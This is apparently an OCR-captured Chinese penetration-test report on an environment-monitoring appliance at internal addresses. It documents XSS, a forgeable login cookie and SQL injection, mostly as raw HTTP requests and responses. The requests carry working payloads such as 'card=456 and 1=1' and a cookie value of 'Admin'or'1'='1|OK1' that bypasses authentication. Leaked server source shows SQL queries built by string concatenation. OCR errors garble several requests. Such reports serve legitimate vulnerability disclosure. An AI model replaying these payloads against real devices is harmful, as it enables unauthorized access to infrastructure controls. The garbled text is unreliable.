


动环监控仪漏洞报告

简介

测试地址

10.1.176.81

10.1.176.82

10.95.0.82

10.95.0.79

漏洞简介

10.95.0.79

TCP/IP stack存在多种漏洞

10.1.176.81

XSS漏洞
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cookie设置过于简单，直接绕过登陆认证。
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SQL注入漏洞
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Request

jRawT Params | Headers | Hex |

Target: http://10.1.176.81

Response

Raw | Headers | Hex

POST /omdev/carddef.asp HTTP/1.1

Host: 10.1.176.81

Content-Length: 24

Accept: application/json, text/javascript, */*; g=0.01
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://10.1.176.81

Referer: http://10.1.176.81/C0-12.asp

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;g=0.9

Cookie: user=test%270r%271%27%3D%271%7COK1

Connection: close

op=qryl&card=456 and 1=1|

>

HTTP/1.1 200 OK

Date: Wed Aug 12 05:27:39 2020
Connection: close

Content-Type: text/html; charset=gb2312
Pragma: no-cache

Cache-Control: no-cache

Content-Length: 119

{"qry":"ok","qryid":1,"recs":[{"DID":2, "Card":456, "Name":"456", "Note"
0,"Mask2":0,"Mask3":0}], "reccnt":1}

456", "Mask1" :

>
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POST /omdev/carddef.asp HTTP/1.1

Host: 10.1.176.81

Content-Length: 45

Accept: application/json, text/javascript, */*; g=0.01
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://10.1.176.81

Referer: http://10.1.176.81/C0-12.asp

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;g=0.9

Cookie: user=test%270r%271%27%3D%271%7COK1

Connection: close

op=add&card=999 and l=l&name='999'&note='999"

>

HTTP/1.1 200 OK

Date: Wed Aug 12 05:29:03 2020

Connection: clo

Content-Type: text/html; charset=gb2312

Pragma: no-cach
Cache-Control:
Content-Length:

{"op":"ok"}

se

e
no-cache
11

>
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POST /omaev/cardder.asp HITP/1.1

‘Host: 10.1.176.81

Content-Length: 46

Accept: application/json, text/javascript, */*; g=0.01
X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://10.1.176.81

Referer: http://10.1.176.81/C0-12.asp
Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;g=0.9

Cookie: user=test%270r%271%27%3D%271%7COK1

Connection: close

op=add&card=999 and 1=1'l|sname='999'&note='999"'

allp/1.1 200 OK

Date: Wed Aug 12 05:29:25 2020
Connection: close

Content-Type: text/html; charset=gb2312
Pragma: no-cache

Cache-Control: no-cache

Content-Length: 1643

<h2><b>Javascript Error: Syntax error
At line 32, line =>

if (db_QryInt("select count(*) from tbCardDef where Card="+card, 1)
</b></h2>
<pre>__header("Content-Type", "text/html; charset=gb2312");
T\"op err 7

write(serr);
else
{
var sql;
var iupd = -1;
db_Open("/NandFlash/dbCfg.db3");

if (db_QryInt ("SELECT COUNT(*) FROM sqlite_master where type='table' and
name="'tbCardDef'",1)==0)
db_UpdAdv(“create table tbCardDef (DID INTEGER PRIMARY KEY, Card INTEGER NOT
NULL UNIQUE, Name VARCHAR(32) NOT NULL, Note VARCHAR(64), Maskl INTEGER, Mask2
INTEGER, Mask3 INTEGER)", 1);
db_QryAdv("select * from tbCardDef", 1);

if (op=="qryl")

if (db_QryInt ("SELECT COUNT(*) FROM sqlite_master where type='table' and
name="'tbCardDef'",1)==0)
db_UpdAdv(“create table tbCardDef (DID INTEGER PRIMARY KEY, Card INTEGER NOT
NULL UNIQUE, Name VARCHAR(32) NOT NULL, Note VARCHAR(64), Maskl INTEGER, Mask2
INTEGER, Mask3 INTEGER)", 1);
db_QryAdv("select * from tbCardDef where Card="+card, 1);

else if (op=="del")
{
iupd=db_UpdAdv("delete from tbCardDef where Card="+card);
}
else if (op=="upd")

iupd=db_UpdAdv ("update tbCardDef set Name="+name+", Note="+note+" where
Card="+card,1);

}
else if (op=="add")

if (db_QryInt("select count(*) from tbCardDef where Card="+card,1)==0)
iupd=db_UpdAdv("insert into tbCardDef(Card, Name, Note, Maskl, Mask2, Mask3)
values ("+card+", "+name+", "+note+",0,0,0)", 1);
else
iupd=65535;
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;var test="; if (retval > 0) { if (retval == 2)|setCookie("user", user+"|OK1"); else setCookie("user", user+"|0OK0"); window.location.href="main.asp"; } else { window.location.href="index.html"; } function

setCookie(c_name, value, expiredays) { var exdate = new Date() exdate.setDate(exdate.getDate() + expiredays) document.cookie = c_name + "=" + escape(value) + ((expiredays == null) ? "" :
";expires=" + exdate.toGMTString()) }
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éGET /C2.asp?subsys=5 HTTP/1.1 A HTTP/1.1 200 OK

Host: 10.1.176.81 Date: Wed Aug 12 03:25:44 2020
| Upgrade-Insecure-Requests: 1 Connection: close
|User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 Content-Type: text/html

| (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Pragma: no-cache

| Accept: Cache-Control: no-cache

| text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;g=0.8 Content-Length: 7740

| yapplication/signed-exchange;v=b3;g=0.9

|Referer: http://10.1.176.81/main.asp <!DOCTYPE html>
|Accept-Encoding: gzip, deflate <html>

| Accept-Language: zh,zh-CN;g=0.9 <head lang="en">

| Cookie: <meta charset="GB2312">
|Connection: close <title></title>

'css/style.css" title="style" rel="stylesheet" type="text/css" />
js/jquery-1.6.3.min.js"></script>

|
|
} "background: #F3F3F3">

| "appendl"></div>

"append2"></div>

<a href='javascript:history.back()' class='back' style='color: #fff'>i&E</a>
<script>

var isubsys=5';
var json= {"qry"

err","qryid":0};

Il var
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POST /login.asp HTTP/1.1

Host: 10.1.176.81

Content-Length: 43

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.1.176.81

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp, image/apng,*/*;q=0.8
,application/signed-exchange;v=b3;g=0.9

Referer: http://10.1.176.81/index.asp

Accept-Encoding: gzip, deflate

Accept-Language: zh,zh-CN;g=0.9

Cookie: user=Admin%270r%271%27%3D%271%7COK1

'Connection: close

Usercode=

>

HTTP/1.1 200 OK

Date: Wed Aug 12 04:27:24 2020
Connection: close

Content-Type: text/html; charset=gb2312
Pragma: no-cache

Cache-Control: no-cache

Content-Length: 592

<script language="javascript'type="text/javascript">
var retval = 2;

var lang = "zh_cn";
var user = "Admin'or'l'='1";

if (retval > 0)

{
if (retval ==
setCookie("user", user+"|OK1");
else
setCookie("user", user+"|O0K0");
window.location.href="main.asp";
}
else
{
window.location.href="index.html";
}

function setCookie(c_name, value, expiredays) {
var exdate = new Date()
exdate.setDate(exdate.getDate() + expiredays)
document.cookie = c_name + "=" + escape(value) +

((expiredays == null) ? "" : ";expires=" + exdate.toGMTString())

</script>





